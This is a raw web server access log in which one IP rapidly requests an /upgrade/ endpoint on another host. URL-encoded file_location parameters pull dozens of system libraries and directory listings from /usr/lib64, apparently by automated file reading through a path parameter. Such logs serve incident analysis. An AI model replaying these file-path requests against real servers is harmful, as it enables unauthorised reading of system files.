45.135.193.11 - - [11/Sep/2026:22:59:35 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fcmake HTTP/1.1" 200 6236 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fcmake" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibGLX_mesa.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 227600 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibGLX_mesa.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibboost_iostreams.so.1.75.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 134275 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibboost_iostreams.so.1.75.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcurl.so.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 411799 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcurl.so.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdaemon.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 115119 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdaemon.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjbig85.so.2.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113350 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjbig85.so.2.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibndr-nbt.so.0.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 173551 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibndr-nbt.so.0.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xinerama.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108177 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xinerama.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibOpenEXR-3_1.so.30.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 921320 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibOpenEXR-3_1.so.30.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXtst.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 115260 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXtst.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_part.so.2.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119547 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_part.so.2.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibctf-nobfd.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 156722 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibctf-nobfd.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstvideo-1.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 429259 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstvideo-1.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibraw_r.so.23.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 495225 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibraw_r.so.23.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-tctildr.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113412 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-tctildr.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibunistring.so.2.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 657690 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibunistring.so.2.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibX11-xcb.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 105802 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibX11-xcb.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfontconfig.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 255982 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfontconfig.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:43 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fbluetooth HTTP/1.1" 200 5739 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fbluetooth" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXcursor.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 124343 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXcursor.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhunspell-1.7.so.0.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 338181 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhunspell-1.7.so.0.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-bp.so.6.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 117250 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-bp.so.6.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcairo.so.2.11704.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 673183 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcairo.so.2.11704.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgirepository-1.0.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 160522 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgirepository-1.0.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgraphene-1.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 151962 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgraphene-1.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblock_manager.so.2.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 761507 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblock_manager.so.2.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmvec.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 193145 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmvec.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibvmaf.so.1.1.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 330005 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibvmaf.so.1.1.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-render.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 120218 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-render.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibauthselect.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 143495 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibauthselect.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-res.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109498 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-res.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:49 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2FImageMagick-6.9.13 HTTP/1.1" 200 6048 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2FImageMagick-6.9.13" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXaw7.so.7.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 291549 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXaw7.so.7.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibestr.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110262 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibestr.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpanel.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109614 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpanel.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrpmbuild.so.9.1.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 189725 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrpmbuild.so.9.1.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicudata.so.67.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 10524895 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicudata.so.67.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsolv.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 427828 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsolv.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtotem-plparser-mini.so.18.3.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110503 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtotem-plparser-mini.so.18.3.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:52 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Flua HTTP/1.1" 200 5936 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Flua" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXfixes.so.3.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113041 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXfixes.so.3.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcollection.so.4.1.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 128594 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcollection.so.4.1.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgusb.so.2.0.10&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 131084 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgusb.so.2.0.10&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibirs-9.16.23-RH.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 122907 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibirs-9.16.23-RH.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibusb-1.0.so.0.6.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 161576 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibusb-1.0.so.0.6.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xv.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113274 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xv.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc_abyss.so.3.51&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 160113 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc_abyss.so.3.51&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibctf-nobfd.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 156603 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibctf-nobfd.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfwupd.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 290167 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfwupd.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkdb5.so.10&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 140453 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkdb5.so.10&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-nf-3.so.200.26.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 145467 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-nf-3.so.200.26.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibss.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 115943 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibss.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_loop.so.2.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109789 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_loop.so.2.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent_pthreads.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107795 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent_pthreads.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibexslt.so.0.8.20&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 141144 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibexslt.so.0.8.20&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgtk-x11-2.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 2315968 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgtk-x11-2.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibiperf.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 185651 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibiperf.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkadm5srv.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 153560 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkadm5srv.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnsl.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 116736 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnsl.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
